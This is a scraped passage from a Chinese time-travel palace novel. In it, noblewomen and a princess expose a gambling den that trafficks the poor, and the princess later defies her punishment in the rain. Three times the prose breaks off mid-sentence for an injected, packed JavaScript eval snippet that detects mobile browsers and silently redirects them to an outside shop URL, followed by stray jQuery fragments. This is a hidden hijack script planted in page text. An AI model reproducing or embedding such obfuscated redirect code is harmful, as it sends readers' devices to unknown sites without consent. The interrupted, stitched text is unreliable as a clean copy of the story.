没等她做出任何反应,下一刻,皇家侍卫的铁靴踏破喧闹的鼎沸人声,府兵紧随其后强行破开斗兽台下左右两个生死门,冰凉铠甲的碰撞击打声响彻天际,两队人马浩浩荡荡如潮水般鱼贯而入。 “我等奉温太师之命寻温少主去向。” “……” “我等奉陛下之命搜寻七公主下落。” “……” 为首的罗序然一脚踢开正要颤颤巍巍跪下的老鸨和掌事,眼中的怒火几乎快要冒出来引爆整个赌场。 他一个箭步上前拎住掌事人的领子:“我妹妹在哪?奉命奉命,还有什么命可奉?你们这些蠢出生天的货色这么会演戏,怎么不找个戏班子搭台去唱曲啊?!今日我妹妹要是有什么好歹,我立刻要了你们的狗命!” 皇家侍卫破门而入,在天家不容置疑的威压之下,满座之人纵是世家子弟也不可避免慌了神,有几人试图从最上方的出口私自离开。 侍卫抬剑挡住那人出路,他瞪眼道:“我乃氏族中人,你们岂敢拦我?!” “你们知道自己拦的是谁吗?老子出身八大世家,识相的还不快滚开!” 台下角斗场的中央,罗沁一手扶住秦明月的肩膀,眼神狠厉决绝,声音洪亮清晰地反问道:“世家子弟?世家子弟便可行此龌龊勾当吗?王侯将相,宁有种乎?” 罗序然准确捕捉到她的身影,立刻松手下场,为她披上一件外衫,关切道:“沁沁,没事吧。” 罗沁却坚定地推开了他,她上前一步,那一步是无数人退却的一步:“我乃太常寺少卿罗沁,同平章事兼礼部侍郎罗贵明之女。现状告天音楼私下贩卖人口,开设地下赌场,戕害城中无辜平民,掌事人不知我真实身份,将我几番周折掳至此地,意图不轨!” 原来是太常寺的人啊。 几缕发丝凌乱地垂在额前,温嘉懿倚在墙边,她隐没在铁牢的黑暗中,没察觉到自己竟然露出了一点笑意。 她自说自话要替林婧若报仇雪恨,没想到已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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角斗场的中央满场泥土黄沙,秦明月一字一句、掷地有声地开口:“天音楼掌事私德败坏、品行低劣,与教坊司中人同流合污自成一党,趁上元夜宴宫中守卫松懈时,将本公主强行掳走贩入地下赌场,不轨之心昭然若揭。谁给你们的胆子在皇城根下做出此等丑事?!” 掌事人险些吓得晕厥过去,忙不迭地跪下磕头,直至磕得头破血流也无人理会:“奴才不敢!奴才真的不敢啊!请殿下明鉴!请殿下明鉴!” 说完,秦明月抬手拢紧外衫,眼神微微一扫,身侧的侍女立刻心领神会,上前狠狠给了他一巴掌,厉声道:“天音楼的掌事真是好规矩,公主训话也敢驳斥,目无尊卑的东西,教坊司当年没教会你们的礼仪,就让宫刑来教会你们吧。来人,把这些背后生事的人全部拖下去。” 素箩不知何时也掩面站到了温家府兵首领的身后,她以温家少主的身份站在这里,或许是受温子瑜的密令,没有人再置喙一句多余的话。 台下三方无声对峙间,监牢中的千万条锁链铁镣被刀剑尽数砍断。 “咚——” 真正的一锤定音跨越了四十几年的时间长河,终于即将来临。 恍惚间,温嘉懿好像看到景康三年,林婧若暴毙而亡的那个夜晚。 掌刑人手握一条沾了盐水的鞭子,淡声问她:“后悔和我作对了吗?林大人。” 嫣红色的官服鲜艳明亮,却难以分清是血色还是官服原本的颜色,她微微昂首,笑着在他耳边说出从她出生起就在矢志不渝贯彻的两个字。 无论是科举入仕,以女子身份为官做宰扬名天下,还是救济贫民,不惜一切为天下计。 “不悔。” 永远不悔。 时光回流,这一刻,得救的贫民窟百姓重获自由新生,争先恐后往外涌,人潮毫不留情地将温嘉懿淹没。 如同那场盛大的乘车巡游般,她在人群中穿梭逆流而行,但这一次,罗沁和秦明月也没有轻易离开,三个人很有默契的渐渐落在队伍最后,随着人流散去,站位形成一个很瘦的三角。 温嘉懿眸光温和地看着她们,两人不知在低声交流些什么,罗沁那副一贯带笑的神情中似有责怪之色,秦明月站在原地安静听训,不置一词却不甚在意。 她们让侍卫先行疏通这些被拐卖的贫民窟百姓,余光注意到温嘉懿未曾离开,于是收了话头,主动走近轻声道:“这位姑娘,你已经自由了,可以走了。” 温嘉懿垂下眼睫,声线变化自如,也不知在替谁说这句话:“多谢两位。” 斗兽场中央的几点光落在她的发旋上,温嘉懿没有回头地往前走着,不禁摇头笑了笑。 她们真的是被抓进来的吗? 罗沁是天音楼的常客,看似纨绔风流、徒有虚名,实则每每问起地下赌场她都会三缄其口。 至于秦明月,她是皇室中人,即便宫中侍卫一时不察,谁又敢在大庭广众之下将七公主带来这种地方。 她们事先没有商量,没有知会对方彼此的计划,却不约而同的在上元佳节这一天聚集于此。 在阴冷潮湿的铁牢监狱中,在每个抬眼相望对视的瞬间,在不计后果为不公的秩序慷慨殉道时,眸中闪烁的信念早已胜过万语千言。 只有以身入局,方能摧毁一个封建时代背后的腐朽、黑暗与不堪。 …… 后来很多年过去,001在时空管理局讲起这件事,有同事听完后饶有兴致地问:“她漂亮吗?” 001意味不明地笑了一声,遮住眼下的轻蔑,转头离开,留给他一句话。 “她很能干。” 10.10 天音楼中满地狼藉,箫笛共奏的悠扬乐声戛然而止,取而代之的是伶人歌姬惊惶失措的尖叫和杯盏碎裂的清脆声响。 溅起的酒水混着瓷片在软垫上晕开深色痕迹,搅碎满室旖旎。 几名皇家侍卫持剑守在阶前,面容冷峻地下达最后通牒。 “大理寺现收到诉状,受理查案。天音楼私自开设地下赌场,非法贩卖人口一事,证据确凿,现依律将各处暂时查封,不得有误。” “给你们一柱香的时间收拾包袱,过时不候。” 天音楼主事的老鸨和掌事被押解着从地下赌场上来,侍卫用麻绳反捆着他们的双手,几位舞娘眼含怯意不敢上前。 直到知道这一切的来龙去脉后,她们终于掩面哭到泣不成声。 “世道何其不公啊!我们好不容易有了容身之所,现下要我们离开这,那我们还能去哪儿?” “你们是硬要把人往死路上逼吗?” “卑贱之人的命不值一文,所以在你们眼里,卑贱之人的命就不是命吗?” 说到底,这些少女不过十几岁的年纪,她们伏在地上的哭喊声歇斯底里,那种发自肺腑的痛苦之情溢于言表,好像当初被卖到这里时都不曾如此伤心。 而站在一旁的侍卫手扶刀剑,始终作壁上观,对所有的哀求和哭诉无动于衷,只盼着一柱香的时间赶快过去,好把她们一齐轰出天音楼。 两厢鲜明对比,这副景象落在人眼中竟有种说不出的诡异。 就在这时,一道温柔平和的声音响起。 “起来。” 楼中来往之人熙熙攘攘,喧嚣杂乱之声震耳欲聋,然而这位外人口中宠辱不惊、冷心冷情的头牌花魁却掀起卷帘,一次又一次慷慨地朝她们伸出手。 红菱低着眉,慢慢扶起她们,细心掸去她们身上沾染的尘土:“别哭,从今往后,大家都自由了。” 闻言,最中间的粉衣女子忽然狠狠推了她一把,这一下使了十成十的力气,像是终于找到发泄口般对她恶语相向:“自由是什么?你又凭什么这么说?像你这样的头牌花魁,自然有千万人等着求着为你赎身,让你拥有所谓的自由,而我们呢?我们有什么?” “我们现在的生活就是最好的自由,有吃有穿,过得很好。不需要任何改变,更不需要你在这里假惺惺的装好人,说这些虚伪至极的话!” “你以为把我们拉出这个地方,就自以为能成为我们的救世主吗?我告诉你,做梦!” 红菱后退几步,腰侧撞上后面的柱子,剧烈的疼痛感从后背袭来,她下意识蹙眉,语气却未变:“我是想告诉大家,从今天开始,你们有了选择新生活的权利,也有了做其他事的自由,不必再在这里绕弯打转。” 她静静看着眼前这一切,清楚地知道,天音楼中大多数人都早已被磨平了棱角,变得麻木不仁,安于现状。 即便老鸨和掌事在她们的过往印象中是那样不讲道理、刁蛮苛责、恶贯满盈,动辄辱骂欺压,甚至只要稍有不慎就被打得满身伤痕。 但这种平静如枯水般不起波澜的生活一旦成为依赖的常态,旧日的疤痕和新生便会相辅相成融为一体,被骤然撕破时反而会产生一种难以言喻的恐惧心理,她们害怕这种未知的改变会让生活更加不易。 向下的自由拥有久了,面对向上的机会便会退缩抗拒。 这样可以吗? 我从来没有这样做过,这样对吗? 于是留在记忆里的只剩摇尾乞怜得来的一口饭和一张坚硬冰冷的床板。 可这些并不是她们的错,是落后的封建时代和吃人的阶级差距让她们被逼无奈成为失权的下位者,她需要理解,而不是单纯以先进的现代思想去否定贬低。 那样太高高在上,也失去了帮助别人的本心。 “我只会跳舞,不去服侍客人,又能做什么?又该做什么?” “是啊是啊!我没有见识,没有文化……自小便被卖到这里,天音楼就像是我的第二个家,我什么都不会,只会……只会那些服侍客人的规矩。” 她说着不禁痛哭出声:“离开这里,我什么都做不好。” 红菱的指尖轻柔,动作细心地为她擦去眼泪,缓声道:“服侍也分高低贵贱,卑躬屈膝的讨好是服侍,同坐一堂的平等难道就不是服侍了?” 其他几人脸上的泪痕还未风干,闻言俱是一愣。 她开口的声音始终如一,安稳柔和却不失应有的女子力量,这道声音淌过那些隐秘在她们心间最老旧的伤痕,也唤醒未来岁月里酝酿的勃勃生机:“既然如此,为何不能努力成为第二种呢?” 今日天音楼被查封,作为头牌花魁,红菱头一次褪去了那身耀眼夺目的红衣,她穿着鹅黄色的夹袄,是初秋清晨银杏叶最美的颜色。 而记忆里,少年清朗干净的嗓音此刻和她字字重叠。 红菱神色认真道:“世道于女子而言本就艰难。” 这样的意志必定薪火相承,这条崎岖不平的羊肠小道有朝一日终将成为康庄大道。 “这条路走不通就换一条路,从前我们受制于人,没得选择,如今我们有了机会,有了重新为自己活一次的可能,为何不尝试去拼一拼?” “或许路的尽头,就是柳暗花明。” 温柔似水的话音轻轻落地,在贯耳不绝的吵闹喧杂声中,这一刻又仿佛万籁俱寂,连同方才推她的那位粉衣女子也安静下来。 过了许久,一人带着试探性地、语含颤抖地出声,在不经意间问出了所有天音楼内女子闭口不言的羞愧心事:“可是……若那条新的路还是不好走,又该如何?” 倘若路的尽头不是柳暗花明,不是世外桃源,是山穷水尽,是另一阵刀光剑影,到那时又该怎么办? 红菱一反常态地没有像她预料那般轻言细语的安慰,而是赞同道:“你说得对,可能那条路一样很难走,会让人痛苦不堪……甚至比这里还要糟糕。” 她缓缓拨开那女子额前因汗水粘连在一起的细密发丝,声音和动作都轻得无法捕捉,散入一阵风中便会消失不见,却扎扎实实如敲响洪钟般撞入每位少女的脆弱心底。 “那条路就好像人的出身,是富家子弟还是平民百姓,我们无法决定,但凭借我们的出身,往后是一蹶不振还是奋发图强,却可以由我们决定。” 红菱再度牵起粉衣女子的手,滚烫的掌心将她不遗余力包裹,温度源源不断的传来。 两人双手交握,这一次对方没有立刻挣开她,愣愣地看向这张出尘绝色的面孔。 “……” “人这一生,为自己而活,宁可痛苦,也不要麻木。” * 大理寺协理查案的人姗姗来迟,楼前悬挂的匾额已经被摘下,朱红大印的封条在浓浓夜色中格外醒目。 这座冠绝天下的风月第一楼几代不衰,自然也不会在承平十八年落魄。 “兄长……”罗沁看到封条,心气舒缓不少,凑过去向罗序然悄声道:“父亲那边,你记得帮我圆一下,回到府里要是问起来,就说我是不小心被抓进去的,他若知道我背地里搞这些事,非得打死我不可。” 两人并肩走在一起,罗序然目光冰冷地瞥她一眼,抬手将她穿得歪七扭八的毛绒衣领理正,语气不善:“你当父亲同你一样蠢?都跟你一样不长脑子?我当初怎么和你商量的?不是说了等我一起行动吗?你平日的书都读到哪儿去了?” 这一串连环问把罗沁毫不留情地炸了个对穿,她乖巧地眨了眨眼没有反驳他,因为这件事确实是自己理亏在先。 之前两人将事情规划得井井有条,她还向罗序然再三保证绝对万无一失。 结果事到临头,她见事况发展不对,抛下罗序然独自进去了,徒留他在天音楼外面着急上火,好在救兵来的及时,没酿成无法挽回的大祸。 兄长妥善贴心的为她善后,罗沁自然不会无理由地发脾气,她讨好似的晃了晃他的胳膊撒娇道:“我是记得和你一起行动,可那时候哪有功夫想那么多。” “当时看到明月也在里面,吓得我心脏都停了。” 罗序然脚步一顿,看向她道:“你不是同七公主商量好的?” “当然不是。”罗沁摇头:“若是知道明月要来,我会告诉你的,正因此事也出乎我的意料,我怕她有危险,才一时冲动行事。” 他没好气道:“你倒是很会找理由借口为自己推脱。” 夜风吹动她的袍角,猎猎翻飞,显得格外光彩照人,罗沁闻言莞尔一笑,好看的眉眼上挑:“别的什么都不重要,我只需要兄长你师出有名。” 以大理寺少卿的身份,名正言顺前往地下赌场抓人,将地下赌场顺理成章销毁。 这个人无论是谁都不合适,都会被大皇子兴师问罪。 除了他唯一的嫡亲妹妹,罗沁。 “立储一事闹得沸沸扬扬,秦砚景尊贵显赫的出身毕竟摆在那里,他在朝中的势头虽不说十分鼎盛,但地下赌场涉及到的那些世家贵族到底是一份助力,如今一朝毁去,再加上三殿下替陛下祭天游神,他在府里不知道该怎么跳脚呢。” 过了片刻,像是想起什么,罗沁唇边的弧度顿住:“只是林大人那件事……” 罗序然轻轻拍了拍她的肩膀:“如今地下赌场的交易已经败露,顺着这条线查下去,那些被他们刻意掩盖的事总会水落石出。这些年大理寺的人换了一批又一批,只要有冤情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432684|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便不会坐视不管,后日我上职时,会草拟一份文书呈上去,试探上面人的态度。” 罗沁颔首:“对了兄长,还有一件重要的事,在赌场的生死擂台上,有位名唤作壹的女子,好像是场上的无冕之王,据掌事说,她战无不胜,从未有过败绩。” “但我总有种说不上来的感觉,她似乎有些地方很奇怪。” 她压低声音道:“具体的等回去我再慢慢和你说。” 罗序然平静地抬眼反问:“回去再说?你认为我们回去以后还有机会说话?” 言下之意,两个人闯出这等祸事,都自求多福吧。 “……”罗沁将希望寄托在他身上:“父亲最信你说的话了,你好好跟他解释一番,他肯定不舍得骂我。” “这话你还是当着他的面说吧。” “什么意思……”话音刚落,罗沁转头看到前面站着的人,眸光一凝,这下彻底笑不出来了:“我现在跑还来得及吗?” “……” 马车前,罗贵明一身暗色紫衣锦袍,鬓侧新添的几缕白发并不太明显,他站在拐角处的风口,眉目沉静,状似威严地呵斥道:“来得及,我现在就把你的腿打断。” 兄妹两人难得像犯了错的小孩一样犹豫不前,见着这副场景,罗贵明重重咳了一声,压下嘴角险些没控制住的笑,板起脸又道:“怎么还不过来?是要我去把你们俩请过来?” 父亲一贯慈眉善目,平日里的教育也多以鼓励为主,很少对他们生这么大的气,罗沁被罗序然扯着慢吞吞走过去,只感觉周遭气压都是阴沉沉的,让人难以呼吸。 二人磨磨蹭蹭的在罗贵明面前站定,罗序然打圆场道:“父亲先别急着动气,这件事我们上车再说,沁沁也累了。” 罗贵明一把将罗沁拉到身边看了又看,确保她毫发未损才暗自松了口气,闻言冷硬地瞥了自家儿子一眼,心下明白这事不可能是罗沁一人的成算,她这个兄长一贯听她的话,要星星不给月亮,在其中没少出力。 他毫不犹豫地抬脚踹过去:“你以为你小子就能逃过一劫?” 马车缓缓向罗府方向驶去,车上两人开始你来我往地互相使眼色,商量着谁先当出头鸟被枪打。 “清沅。” 两人闻声齐齐一怔,罗贵明开口叫了罗沁的小字:“这件事……” 罗沁立刻干脆利落地认错,将所有罪责揽到自己头上:“对不起父亲,这件事从头到尾全是清沅一人所为,与兄长无关,他是被我无辜牵扯进来的,还望父亲不要迁怒他。” 罗序然直起身皱眉看向她,正欲说些什么反驳,却被罗贵明以眼神示意噤声:“那你说说,你错在哪儿?” “……” 罗沁哑口无言。 她不觉得自己有错。 那些人都是城外贫民窟的百姓,不是没入奴籍的奴隶,凭什么要遭受到如此非人待遇。 哪怕重来一百次、一千次,她都会做出同样的决定,都会义无反顾地冲进去。 他叹了口气:“既然你认为自己没错,又为何要向我认错?” 罗沁清亮的眸中有讶异之色:“父亲……不怪我?” “清沅,做一件对的事,是不需要向任何人道歉的。” 罗贵明冷哼一声,继而道:“我怪你?我怪你做什么?你知道你母亲在家里急成什么样子了吗?回去态度好点给她认个错,不然就算是我也帮不了你。” 她怔怔地垂下眼,声音闷闷的,听不出任何情绪:“我以为,父亲母亲会嫌我败坏家门名声,将我捆起来狠狠打一顿。” “……” 罗贵明不可置信道:“我和你母亲有这么不讲理吗?” “名声?什么是名声?”他恨铁不成钢似的抬手敲了她一脑壳,力度不轻,砸得她痛呼一声,话中却带着引以为傲的自豪:“我罗贵明的一双儿女,一次中举登科,入仕为官与我比肩,就是我罗家最好的名声。那些劳什子虚名,我不在乎,你母亲更不在乎。” 见父亲并未真正动怒,罗序然微微松了口气,这一晚上折腾下来他筋疲力尽,偏头靠在车厢边上,视线下落扫过坐在一起的父亲和妹妹,一双眼中染上几分欣慰的笑。 罗沁眼眶通红,她忍住泪花倔强道:“那我都这么有出息了,母亲不会真的打我吧。” 一声关切的叹息自上方悠悠传来,罗贵明将她揽入怀中,目光温和地揉了揉她的发顶。 这是他最心疼的女儿,也最有出息,最有主意,不知何时,她悄然成长,坚如磐石的心志已经早早越过了他当年的满腔抱负。 “是你母亲叫我来接你,她知道你今日做了无数百姓心中的大英雄,亲自下厨煮面,等你回家。” 11.第十一章 天色将明未明,周遭四方陷在一片混沌的灰蒙中。 雨声淅淅沥沥,长安的冬日寒凉浸骨,风雪过后更甚从前。 吐出的温热气息凝结成朦胧白雾,为首的太监元福撑伞站在大雨中,目光嫌恶地扫了秦明月一眼,甚至恶劣地将伞面朝她那边倾斜。 “所谓天作孽犹可恕,自作孽不可活。” “若非公主殿下自作主张擅离宫宴,也不会平白无故遭此一劫,如今反倒连累旁人在这陪您受罚,旁人何辜?公主您说是也不是?” 他长长地叹了口气,哼斥道:“要奴才说啊,也是该着您倒霉,来往宫中赴宴的王孙贵女无数,怎么不捆别人,偏生就捆了您去?现下出了这等丑事,闹得满宫皆知,您要好好反思自己才是,莫要先毁了皇室清誉,又做出这许多不成体统的腔调来。” 地下赌场是什么地方? 阴暗逼仄的铁笼里,脑海中闪回的画面充斥着血腥、厮杀、搏命。 来往之人又是什么货色? 好色之徒、好赌之客。 进去的人十有八九都不能囫囵个出来。 秦明月一个手无缚鸡之力的弱女子,在那段不见天日的时光里究竟遭受了多少折辱和苦楚,是否还是完璧之身? 问题的答案对不解真相的众人来说真的重要吗?有谁能站出来为她辩白?说出来的实话又真的有人相信吗? 她的清白和名声,从踏入地下赌场那一刻起,就已经如碎掉的瓷片般毁得干干净净。 思及此,宫道两侧来往的人议论纷纷,言语的轻视和探究像千万根细密刺骨的针一般锋利,尽数精准戳在她直挺的脊背上,伴随着这阵骤起的凛冽寒风落在她一呼一吸间。 他们不会在乎这座名满天下的风月第一楼为何会莫名其妙出现一个地下赌场,也不会在乎是谁在背后操控着地下赌场以权谋私,更不会在意有多少条活生生的人命无辜葬送在地下赌场里。 官场上的追名逐利亦或朝堂中的风起云涌都太遥远,和只希望看戏的他们无关。 那么同样的,他们说的话,也和秦明月无关。 秦明月跪在层层阶下,眼中无半分怯懦之意,眸光清明透亮,唯有身上那几件单薄的衣物被这场突如其来的大雨浇了个彻底,仿佛随时会摇摇欲坠的倒下。 元福见她这副不肯服软的样子,继续喋喋不休地阴阳怪气道:“整整两个时辰……看来宫墙之内,公主的风骨恐怕价值千金,无论在哪都难以攀折,是老奴唐突了。” 他不由得嗤笑一声。 一个不受宠爱的公主落入地下赌场中,又无显赫尊贵的母族维护,那便只有声名狼藉这一种结局,难道还认为这身不屈不挠的傲骨很值钱吗? 于封建时代的女子而言,一切需要依靠外人手段去证明的东西,比任何握在手里的都重要。 譬如名声和清白,这些虚无缥缈的东西需要以最屈辱的方式被探索、搜查、寻找,否则便无法向世人证明这是一位“完好如初”的女子,所以名声和清白显得那样不可或缺。 而才华和能力凭借自己就可以施展,不依附任何人就有机会为官做宰仕途通天,或提笔安社稷,或马上定乾坤。所以这些显露在外的东西就不再重要,因为它们披着男女平等的外皮,总会在一定程度上影响着当权者主宰这个世界。 元福话中的讥讽之意再明显不过:“奴才提醒一句,陛下可是吩咐过,您若晓得自个儿错在哪儿了,便可以回去。” 秦明月始终恍若未闻,只当做没听见那些粗鄙难听的话,跪在她身边的侍女朗星几次忍不住想冲上去开口反驳,都被她用眼神示意退下。 滂沱的雨水顺着瓦片滴落,也顺着她轮廓分明的脸侧淌下,发出叮咚细碎的塌陷声响。 远处,来人步履从容地踏过青石板桥,径直从她面前走过。 那截玄衣袍角轻柔掠过她痛到失去知觉的手腕,只一瞬间,秦明月冰冷的神色骤然温柔和缓下来,她垂在身侧的双手冻得通红,有些冻裂结痂的地方已经发青发紫,几乎是颤抖地强迫自己动了动僵硬的指尖。 元福目光一转见到来人,立刻将伞主动撑过去,换上一副谄媚的面孔,殷勤道:“老奴参见三殿下。” 伞下的青年面若冠玉,眉目间蕴着几分清润,身着玄色暗纹锦袍,乌发以鎏金玉冠高高束起。 青年周身的书卷气息浓郁,一举一动完全不含皇室中人的矜贵,倒像是半个温文尔雅的文弱书生。 秦书闻言微微颔首,谦和有礼道:“公公有礼。父皇嘱托之事我已悉数完成,还望公公待父皇醒后通传一声,便说我来过了。” “奴才明白。时下天寒,又逢大雨,这点事怎好劳动殿下亲自走一趟,打发个下人来便是,若是冻着可怎么好?” 他的笑意不减:“多谢公公关怀。有些事只有亲力亲为,才会稍稍心安。” 秦明月静静听着眼前两人交谈的声音,浅淡的眸光细致描摹他挺拔如松的身影,唇边扬起一抹不易察觉的笑容。 看见秦书后,她似乎迟钝地感到一阵头晕目眩,那种倦累的疲惫感将她一股脑淹没,让她觉得这条漫长遥远、一眼望不到边的路走到这里就已经是极限,接下来可以安心的倒在他身边。 朗星见状手疾眼快地搀住她险些没稳住的身形,劝解道:“公主,您这是何苦,把自己折腾成这个样子,娘娘肯定要担心的。” 过了许久,她缓过神来终于出声,嗓音嘶哑:“朗星,我做错了吗?” 朗星毫不犹豫道:“殿下什么时候都不会错。” 秦明月缓缓松开攥紧的手,垂下高傲的头颅,像是想起什么,扯出一个难看的笑:“我也会错。” “……” 那些灰暗晦涩的记忆历历在目,清晰得仿佛触手可及,过往一幕幕在她眼前浮现,似乎是一年怎么也熬不过去的冬天。 隆冬时节,寒气肆虐,钻心的钝痛感汹涌袭来,像疯长的藤蔓一样将她紧紧缠绕,瘦弱的少女蜷缩在角落里,死死压抑着呜咽声。 她的脸上有几处新旧不一的斑驳擦伤,旧痂泛着暗沉的褐色,两侧散乱的发丝垂下,让人看不清她的神情。 周遭的视野忽然变暗,一把伞打在她的头顶,严严实实挡住了漫天零落的风雪。 那人在她身前蹲下,擦干她的泪水,低声道:“明月。” 秦明月睁开眼,泪珠大颗大颗地落下,下意识伸手牢牢抱住他:“三哥,为什么?” “为什么所有人都可以打骂我?而我没有资格去反抗,为什么所有人都可以欺负我的母妃?而她没有资格去辩驳。” “我的母妃是胡人,我是胡人的孩子,所以我的身份卑微,这些是我的错吗?又是我母妃的错吗?” 她迫切地想要寻找一个答案:“三哥,我做错了吗?” “我的出生,就是错误吗?” 秦书的指节因忍着膝盖的剧痛而泛白,却仍抬手用指腹轻轻拭去她脸颊的泪,接着将她稳稳抱进怀里安抚道:“明月,人活一世,来去不过几万日。然则生命之树,万古长青。” 他的眉眼柔和,印在她最痛的伤痕上,是一剂最好的良药:“曾经他们看你,如同凡人嘲笑蜉蝣朝生暮死,殊不知他们也不过沧海一粟,谁都不比谁高贵。” “你可以哭,可以怨,可以恨。却要知道谁才是这一切真正的始作俑者。” 这些话像一把纤细的弯钩,藏着直戳人心的锐利,却灵活地穿过设计好的弯弯绕绕,直抵秦明月心中最深最柔软的地方。 于是拨云见日,雨过天晴,得见天光。 而一片白皑风雪中,秦书慢慢阖上眼,他言语间的恨意分明不比她少,那时秦明月尚且年幼,还不能完全明白他在恨什么,只是听他轻声道。 “我向明月保证,无论做任何事,你若做对,我为你邀功,你若做错,我为你兜底。” “三哥。” “嗯,我在。” “……” 可惜时过境迁,已经悠悠十年。 记忆中的话音渐渐散去,如今秦明月终于懂了那年漫天大雪,他未曾宣之于口的言外之意。 秦书在恨,恨世间天地万物都能轻而易举伤她至深,而他对世道不公的抗争却如此微不足道。 “……” “可是……可是三殿下他变了。” “嗯。”秦明月应声,再抬起眼时,她又恢复了从前的模样,坚定道:“他变了。” “他不再是我的三哥。” 不知何时,他变得彻彻底底,自始至终都未施舍给她一个眼神,如同对面不识的陌生人一般无情决绝。 玄色衣袂扫过台阶,带起微寒的风,秦书目不斜视地从她身旁走过,却连一句客套的问候也无。 两人擦身而过的瞬间,秦明月再度深深叩首,起身时的语气不卑不亢,无波无澜。 她的声音回荡在宫道中,那样轻,又那样重。 轻到近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455442|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在咫尺的朗星都难以察觉,重到仿佛能推翻这个落后腐朽的封建时代。 “明月不知错在何处。” “我的风骨有几两重,我的清白就有几两重。” 大雨向下,而她向上。 * 相宁寺外的亭檐断续向下滴雨,摔进泥坑里溅起一圈涟漪,罗家的马车逐渐隐没在视线尽头,温嘉懿缓缓收回视线,撑起伞往反方向走去。 她让温子瑜带着少主令牌转告温缚修自己目前的困境,本想试探原主父亲的态度,没想到温子瑜竟然拿着温缚修本人的手令来了。 这件事倒出乎她的意料,毕竟在温缚修的视角里,她在裴府待得好好的,怎么可能一不小心就被抓到天音楼的地下赌场去了? 但少主令牌做不了假,除了主动为之,连她本人都想不出第二个理由。 这个谎撒得十分拙劣,只不过温嘉懿也从未想过要向原主的父亲掩饰她在撒谎。 温家一贯不争不抢,对于储位之争的态度又模棱两可,她没有原主之前的记忆,不能保证温缚修会无条件的包庇原主,更不能确定这些世家大族骨子里的封建思想会不会将她一并吞噬。 不过现在看来,素箩顶替她以温家少主的身份进入地下赌场,温缚修是心知肚明且默许她处理掉秦砚景这桩生意的。 甚至还同意了让她继续留在裴家卧底,暂时不回温府。 一来二去让她省了不少功夫。 这座名副其实的风月第一楼,私自开设的地下赌场却关着两位世家贵女和一位公主,这样大的奇事异闻已经足够令人瞠目结舌。 罗沁自然不必说,她的兄长和她有着相同的目标,父母和顺开明,无论做出什么惊天动地的决定,她都有绝不后退的底气和勇气。 整件事中的变量,似乎只有那位突然出现的七公主。 秦明月比罗沁走得还要早些,既然闹到皇帝跟前,他顾着皇家面子也不会坐视不理。 温嘉懿对秦明月的印象不深,如果不是系统出声提醒她秦明月的身份,她无法凭借自己的能力认出这个人就是七公主。 史书中有关她的记载只有寥寥数笔,最清晰的一条历史线是写七公主死在承平十九年的末尾,以及她的生母是个不受帝王宠爱的胡人宫嫔。 这场雨有愈下愈大的趋势,温嘉懿垂下微卷的眼睫,遮住眸中难掩的一点晦暗,暗自叹息。 古往今来,历史从来都只能由胜利者去书写。 承平年初,先帝第六子秦熙登基,谥号孝文,其在位十九年间,大梁繁荣昌盛,百姓安居乐业。 承平二年,北部四十七族以使者来朝庆贺时大梁给予的封赏不足对其发难,两方僵持数月迟迟商议不定,最终选择开战,历时半年以北部惨败为结局,余四月后北部又遣使臣将王女送来向大梁求和。 事实真相却并非如此。 温嘉懿来到大梁后发现,以突厥为首的北部游牧民族多年来一直安分守己,反观大梁却常以岁贡亏缺为理由出兵征讨。 而碍于当年皖鸿将军死在与高丽的诛花一战中,加上如今云锦将军年事已高,大梁现下可用良将不多,才逐渐收敛。 世道向来以强者为尊,翻手为云,覆手为雨。 强者可以书写历史,却也可以篡改历史。 秦明月的名字像一道看似无形却有力的枷锁,无时无刻不在提醒她的身份。 那是烙在心头、刻在骨血里的卑贱,注定一辈子上不了台面。 但使龙城飞将在,不教胡马度阴山。 “……” “吱呀”一声,温嘉懿默然收回思绪,转身推开寺门。 几根残枝被稀沥的雨打下,落英石道蜿蜒向前,一路铺向小径尽头的禅房,相宁寺中的一切仿佛都被拉慢了镜头,一帧一帧,平静缓和。 视野最中央,有一棵参天古树静静伫立于此,每根枝桠上都挂着无数迎风飘荡的红色丝带,似缠绕攀附其间的火焰一般热烈、张扬又十分惹眼。 温嘉懿并未来过相宁寺,是头一次见到这副景象,这抹鲜明的红刻在心里,她撑着伞站直,抬眼望向远处那座高山上的钟楼,只能看见微微露头的山尖。 红菱传信来说要安顿天音楼中的歌姬,和她约好事后在寺外见面,现下天都快亮了,还不见她人影。 “咚——” 沉闷厚重的钟声忽然毫无预兆响起,一道略显低沉的声音自她身后传来。 “温少主。” 12.第十二章 温嘉懿闻声回头,轻抬伞面,看向廊下那道身影。 原主从小在相宁寺长大,和住持认识也是理所当然,她很快回过神,点头微笑道:“住持安好。” 天音楼被查封的事传得沸沸扬扬,几乎到城中无人不知无人不晓的地步,按她向温子瑜所述的计划,他需要将素箩以温家少主的身份秘密送回相宁寺,伪造出这件事已经平息的假象。 只不过真正的温家少主并不在相宁寺,仍旧留在裴府卧底罢了。 但话说又回来,温家少主是什么时候被人带离的相宁寺,亦或者最后回到相宁寺的人究竟是不是温家少主,这些都不重要,也都不能为外人道。 重要的是在世人眼中,深夜被绑走的人是温瑾,且她多年来一直安分守己的被温太师养在相宁寺内,这就够了。 